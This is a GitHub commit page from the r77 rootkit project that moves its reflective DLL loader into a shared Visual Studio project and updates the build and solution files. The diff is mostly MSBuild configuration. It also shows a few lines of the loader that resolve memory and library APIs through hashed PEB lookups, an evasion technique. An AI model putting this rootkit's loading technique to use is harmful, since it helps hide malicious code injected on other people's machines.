Skip to content

Commit 66338ed

Browse files
committed
Refactor: Shared project for ReflectiveDllMain
1 parent 768f797 commit 66338ed

File tree

7 files changed

+30
-3
lines changed

7 files changed

+30
-3
lines changed

r77/ReflectiveDllMain.c ReflectiveDllMain/ReflectiveDllMain.c

-1
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,6 @@ BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase)
1414
NT_VIRTUALALLOC virtualAlloc = (NT_VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54);
1515
NT_VIRTUALPROTECT virtualProtect = (NT_VIRTUALPROTECT)PebGetProcAddress(0x6a4abc5b, 0x7946c61b);
1616

17-
// Safety check: Continue only, if all functions were found.
1817
if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc && virtualProtect)
1918
{
2019
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
File renamed without changes.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<PropertyGroup Label="Globals">
4+
<MSBuildAllProjects Condition="'$(MSBuildVersion)' == '' Or '$(MSBuildVersion)' &lt; '16.0'">$(MSBuildAllProjects);$(MSBuildThisFileFullPath)</MSBuildAllProjects>
5+
<HasSharedItems>true</HasSharedItems>
6+
<ItemsProjectGuid>{beabb20f-6030-4275-a8cf-56245417f4b1}</ItemsProjectGuid>
7+
</PropertyGroup>
8+
<ItemDefinitionGroup>
9+
<ClCompile>
10+
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)</AdditionalIncludeDirectories>
11+
</ClCompile>
12+
</ItemDefinitionGroup>
13+
<ItemGroup>
14+
<ProjectCapability Include="SourceItemsFromImports" />
15+
</ItemGroup>
16+
<ItemGroup>
17+
<ClInclude Include="$(MSBuildThisFileDirectory)ReflectiveDllMain.h" />
18+
</ItemGroup>
19+
<ItemGroup>
20+
<ClCompile Include="$(MSBuildThisFileDirectory)ReflectiveDllMain.c" />
21+
</ItemGroup>
22+
</Project>

r77-x64/r77-x64.vcxproj

+1
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@
2929
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
3030
<Import Project="..\r77\r77.vcxitems" Label="Shared" />
3131
<Import Project="..\Unhook\Unhook.vcxitems" Label="Shared" />
32+
<Import Project="..\ReflectiveDllMain\ReflectiveDllMain.vcxitems" Label="Shared" />
3233
</ImportGroup>
3334
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
3435
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />

r77-x86/r77-x86.vcxproj

+1
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@
2929
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
3030
<Import Project="..\r77\r77.vcxitems" Label="Shared" />
3131
<Import Project="..\Unhook\Unhook.vcxitems" Label="Shared" />
32+
<Import Project="..\ReflectiveDllMain\ReflectiveDllMain.vcxitems" Label="Shared" />
3233
</ImportGroup>
3334
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
3435
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />

r77.sln

+6
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service64", "Service64\Serv
9090
EndProject
9191
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Unhook", "Unhook\Unhook.vcxitems", "{631ADCF8-7809-4C45-B29A-30ECF33592D6}"
9292
EndProject
93+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDllMain", "ReflectiveDllMain\ReflectiveDllMain.vcxitems", "{BEABB20F-6030-4275-A8CF-56245417F4B1}"
94+
EndProject
9395
Global
9496
GlobalSection(SolutionConfigurationPlatforms) = preSolution
9597
Debug|Any CPU = Debug|Any CPU
@@ -171,6 +173,7 @@ Global
171173
{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
172174
{E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
173175
{631ADCF8-7809-4C45-B29A-30ECF33592D6} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086}
176+
{BEABB20F-6030-4275-A8CF-56245417F4B1} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086}
174177
EndGlobalSection
175178
GlobalSection(ExtensibilityGlobals) = postSolution
176179
SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1}
@@ -179,9 +182,11 @@ Global
179182
r77api\r77api.vcxitems*{00d7268a-92a9-4cd4-addf-175e9bf16ae0}*SharedItemsImports = 4
180183
r77api\r77api.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
181184
r77\r77.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
185+
ReflectiveDllMain\ReflectiveDllMain.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
182186
Unhook\Unhook.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
183187
r77api\r77api.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
184188
r77\r77.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
189+
ReflectiveDllMain\ReflectiveDllMain.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
185190
Unhook\Unhook.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
186191
Helper\Helper.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
187192
r77api\r77api.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
@@ -195,6 +200,7 @@ Global
195200
Helper\Helper.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4
196201
r77api\r77api.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4
197202
r77api\r77api.vcxitems*{bce48dae-232e-4b3d-b5b5-d0b29bb7e9de}*SharedItemsImports = 4
203+
ReflectiveDllMain\ReflectiveDllMain.vcxitems*{beabb20f-6030-4275-a8cf-56245417f4b1}*SharedItemsImports = 9
198204
InstallShellcode\InstallShellcode.vcxitems*{deab25fd-2042-4bd6-bf4b-0802dccc70f5}*SharedItemsImports = 9
199205
r77api\r77api.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4
200206
Service\Service.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4

r77/r77.vcxitems

-2
Original file line numberDiff line numberDiff line change
@@ -17,14 +17,12 @@
1717
<ClCompile Include="$(MSBuildThisFileDirectory)Config.c" />
1818
<ClCompile Include="$(MSBuildThisFileDirectory)Hooks.c" />
1919
<ClCompile Include="$(MSBuildThisFileDirectory)r77.c" />
20-
<ClCompile Include="$(MSBuildThisFileDirectory)ReflectiveDllMain.c" />
2120
<ClCompile Include="$(MSBuildThisFileDirectory)Rootkit.c" />
2221
</ItemGroup>
2322
<ItemGroup>
2423
<ClInclude Include="$(MSBuildThisFileDirectory)Config.h" />
2524
<ClInclude Include="$(MSBuildThisFileDirectory)detours.h" />
2625
<ClInclude Include="$(MSBuildThisFileDirectory)Hooks.h" />
27-
<ClInclude Include="$(MSBuildThisFileDirectory)ReflectiveDllMain.h" />
2826
<ClInclude Include="$(MSBuildThisFileDirectory)Rootkit.h" />
2927
</ItemGroup>
3028
</Project>

0 commit comments

Comments
 (0)